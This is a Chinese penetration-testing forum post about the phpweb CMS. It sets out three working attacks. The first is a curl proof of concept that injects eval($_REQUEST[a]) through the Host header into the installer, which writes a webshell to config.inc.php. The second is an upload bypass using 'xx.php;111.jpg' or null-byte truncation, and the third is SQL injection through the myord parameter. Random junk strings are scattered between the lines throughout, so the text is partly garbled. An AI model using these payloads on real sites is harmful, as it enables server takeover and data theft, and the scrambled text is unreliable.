中国网络渗透测试联盟
标题:
phpweb成品网站最新版(注入、上传、写shell)
[打印本页]
作者:
admin
时间:
2013-1-4 19:45
标题:
phpweb成品网站最新版(注入、上传、写shell)
注入:
$ @4 ?' U( {$ O2 m2 }
& Q8 `5 f: c, n3 x' h
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
5 c2 M9 ?' L7 d0 o
4 |/ [7 ~ f3 _+ W8 J
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
2 u+ l2 n* p- Z/ r& S
鸡肋2: 有一定安全常识的站长都会删掉 install 目录
4 H# z8 }; W4 f* v" g
, G- e: w1 L1 b$ o. l
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
' l( X, A/ Q" T2 z" c( G/ C" [
% k: f, W. Q) ?+ U
分析:
2 h f4 G" e( x
1 d/ O# K t8 B' B1 g" `4 y" f/ O
) r1 B+ Z1 S9 y( b. V
$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤
. G7 R% s; t; X: o# E% T1 z
! g/ ]1 n; z3 [$ G6 Z
$filestr = fread(fopen($SysConfigFile, 'r'),30000);
1 I K/ X- B' Q4 ~$ j5 V
$filestr=str_replace(" ","",$filestr);
( N& Y; @* j% X" q2 z; e1 L
$filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
+ L P7 c {6 I( J
$filestr=str_replace("DefaultDbName",$dbname,$filestr);
; _+ A2 v$ s5 L, t3 ~8 g' ]! U+ ?
$filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
# q# j6 g3 f: V; ?( S
$filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
3 x) l! t1 q* B0 K
$filestr=str_replace("DefaultsLan","zh_cn",$filestr);
6 ~ N7 G8 f+ p7 Q/ U% s: b
$filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
, j* d, o0 G* ]5 |4 H
$filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
( X( W) }/ C, } V: V4 p0 G; S: d
5 x) @: `" ?" ~1 \0 g3 n
fwrite(fopen($ConFile,"w"),$filestr,30000);
' ^. r9 ~- P7 E- I+ H6 Y* y+ L
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
6 l2 R8 |9 w6 K+ u2 I9 L
9 W! o r) i& y4 \0 U
poc:
$ }; R( {9 `$ U+ Z, [2 c. N
2 t" P- \- J9 S/ g3 R. u+ y
?
) J* x/ M* p, G+ M$ g6 |
1
/ [( O, T: ~/ t: Q- `% c
curl
http://fuck.0day5.com/base/install/index.php
--data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
2 h8 L) p; e2 C
shell地址: /config.inc.php
2 g3 E% P9 J/ I4 A) i z) k! f
跟之前的 phpcms一样 需要远程数据库
) [+ x2 u7 S) ?: a
# {6 Y) N- H, i: Q
——————————————————–
) N0 v s E1 L
上传漏洞(需要进后台):
) |- Q7 ?- z8 a5 F- q
漏洞文件: /kedit/upload_cgi/upload.php
7 s- u! i0 p# f3 j( a6 T
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
0 ?- J% l' v( e! e4 E1 \4 d
) x4 [9 l( s3 U- N8 Y
& L7 Y# Y4 D( s# P" B3 [
<?php
/ Q. U0 L7 D3 G: _, Y3 Y" L5 ?
define("ROOTPATH", "../../");
W. j* m% m* P' R: p
include(ROOTPATH."includes/admin.inc.php");
) }; Q5 _" O8 N5 B
NeedAuth(0);
' a+ d: Q9 Y7 u+ |3 T% ?! m) M6 j
7 M1 U/ G5 o5 C7 C
$dt=date("Ymd",time());
$ P) e. ?3 V0 D7 W4 k3 K
if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
, ~: G c& L( a) [" _
@mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
# J8 w* O3 b& O
}
& p+ B9 N9 p/ Y1 u
6 J5 p x. }2 b& Z
//文件保存目录路径
% g- o* G# a7 `5 s/ L+ v5 u
$save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
; C6 M7 A4 B0 m6 V0 G
echo $save_path;
4 u' A1 V+ e( q3 B" L# d+ ]
//文件保存目录URL
+ C; D1 i# A0 a5 q/ [* U5 n8 U& Q
$save_url = '../../'.$_POST['attachPath'].$dt.'/';
1 W) k9 C. A8 {( e0 L0 F
' K: S+ ?7 S" N- O' I
//定义允许上传的文件扩展名
" ?/ |/ L$ U0 A! V8 c1 a& w
$ext_arr = array('gif','jpg','png','bmp'); //限制后缀
, L% _( O6 e+ j) `, P5 y8 c; J3 [0 G' `
9 t% d# P4 N7 I
//最大文件大小
$ b/ t, n2 x( W+ |# ]* L
$max_size = 1000000;
- a* j r( W5 z! Y% x% L$ Z
5 W. `! e! T9 p* {
//更改目录权限
6 `; i- b' n3 a6 t
@mkdir($save_path, 0777);
! s; X, D6 x( F5 t) ]+ M
8 b0 I L/ K8 U% Y# b& G
//文件的全部路径
' M$ T' p& u h# {2 d, ?" t3 l& m
$file_path = $save_path.$_POST['fileName']; //保存文件名
8 K' [4 ]) q+ e9 }" m1 a
7 p3 f# |6 [4 t: O. I
//文件URL
: D# x2 l' a1 j# m
$file_url = $save_url.$_POST['fileName'];
" \: a4 g, ^, _) E4 o3 _" i
//有上传文件时
7 j% y7 t; L2 x5 X+ M
if (empty($_FILES) === false) {
' J* Y$ D: S0 C/ Z0 ?6 k
: }# J) p4 [( `$ X) u& `
//原文件名
% P$ Y# U$ T! r" [+ B
$file_name = $_FILES['fileData']['name'];
4 ]' r- `: B6 Z' C+ b
//服务器上临时文件名
+ l5 B" L0 H/ B! n# E9 Y, g
$tmp_name = $_FILES['fileData']['tmp_name'];
. M0 ^ V- j* z- G
//文件大小
g+ s1 i4 r. \5 O5 E' T
$file_size = $_FILES['fileData']['size'];
( Y' J6 @+ t$ y2 K
//检查目录
% k+ Q; ] J1 j- {1 w7 P
if (@is_dir($save_path) === false) {
9 B+ U3 {! o8 J) {
alert("上传目录不存在。");
" j' V6 J. R* t" b; p
}
, e3 Y6 Z% t/ N
//检查目录写权限
* e4 X% c2 v4 g/ W0 W1 d% S
if (@is_writable($save_path) === false) {
|4 j" Q3 a# m; }1 [
alert("上传目录没有写权限。");
: L( J0 b& a6 h+ S1 O
}
* i) L- t" b) x: N! f7 I
//检查是否已上传
% v1 j9 u6 i I2 J
if (@is_uploaded_file($tmp_name) === false) {
& `5 {5 @/ N( ?6 @( w9 V9 y [
alert("临时文件可能不是上传文件。");
: y( y5 z0 \5 s1 Z
}
" j i$ A+ ?$ O/ D6 V& c* R/ E
//检查文件大小
* ~6 ?6 n6 ]; V5 ~6 u/ A2 W3 X. Z$ Y
if ($file_size > $max_size) {
# N+ z/ U& E6 u. ]' v( Y2 F6 F0 w9 k
alert("上传文件大小超过限制。");
- W, C3 R! G( Z+ d" f
}
' q k! j3 `6 ?" N: U n3 w7 Y, a
//获得文件扩展名
. A# G4 i0 {: K& p( x$ n
$temp_arr = explode(".", $_POST['fileName']);
+ [& A5 k2 i) H8 g, K9 a
$file_ext = array_pop($temp_arr);
4 }/ O9 S4 q* ^# [/ [
$file_ext = trim($file_ext);
, P; ~; u' f0 Y; {
$file_ext = strtolower($file_ext);
- l7 @5 ]9 C% j/ n
9 a9 T! H; |# K
//检查扩展名
+ } K9 m4 M# q; _% @
if (in_array($file_ext, $ext_arr) === false) {
* W" p7 H( i! P3 M6 ?
alert("上传文件扩展名是不允许的扩展名。");
$ ~, J! r+ |% z* |
}
2 X w% l1 Q! _0 S
" y9 t9 k3 e& c
//移动文件
/ P. U2 H; L! d$ k+ U
//未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^
( m/ |5 v: @- l: x' _7 c/ q1 V
if (move_uploaded_file($tmp_name, $file_path) === false) {
: p& d" f& H2 U0 r2 X7 T- I
alert("上传文件失败。");
/ N& |# [8 N# a/ r# A
}
) b0 O; x' U: C
; Z: J# u e* F& M0 |4 Q' a3 x; B
@chmod($file_path,0666);
9 h& O& R1 _$ Y1 g p9 D$ H) [
4 N; ?) C; B7 A, {# h! b7 p. \% Z
?>
/ v( ^/ z( U; Z+ ?0 w: p
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用
http://www.0day5.com/?p=227
$ m; k( W) U4 Q) K' R+ E
0 W% ~: x# l# W4 _4 w7 j2 t
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
7 u0 j9 r% z! n5 a; y3 n6 U& D( l: }6 e. G
3 @+ Y, F! E6 w; N
——————————————————
/ e- g# ~& w3 ~6 C8 `" I) O7 W
注入漏洞:
5 j* I: Y. [4 }, K( d, w
漏洞文件:search/module/search.php
. x: A0 g5 {% v6 r+ s
/search/index.php?key=1&myord=1 [sqlinjection]
5 D g5 B1 ^7 X6 @* m6 Y
1 i* t5 q' G5 @& u5 Q F! S1 j1 I
5 f8 _3 G7 Q5 g+ o$ s% W
<?php
& A" `7 X! O& h% a- x- b
// ... 省略 n 行...
6 N2 u& I9 q8 h, z
//第18行:
E& q, r" E0 n; r* k
$key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响
* t# e/ G+ J# A: D% k
$page=htmlspecialchars($_GET["page"]);
7 T5 A" y- c! x, M
$myord=htmlspecialchars($_GET["myord"]);
- A& Z0 _! ?9 N+ _
9 Y" @( }; e; P
// ... 省略 n 行...
' T% t& F& E' `. T; p
$key,$myord 两个参数带入查询
. ^. l; H. F e+ v4 n
//第47行 $key:
& S9 i& ^3 ~ Z$ ]0 B5 M4 S2 a0 A' W9 U
9 i9 }2 L% `$ r! K2 v
$fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..
7 J+ Q: _) q8 \; M
; p- h! \7 K' L, @5 t( ^
//第197行 $myord
6 q2 r8 C" H7 [
$fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入
9 P( q5 m u+ s! \
2 R/ y" W6 U5 B: o ~4 ?! \2 }
?>
9 b( Q* K, D3 N9 c
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2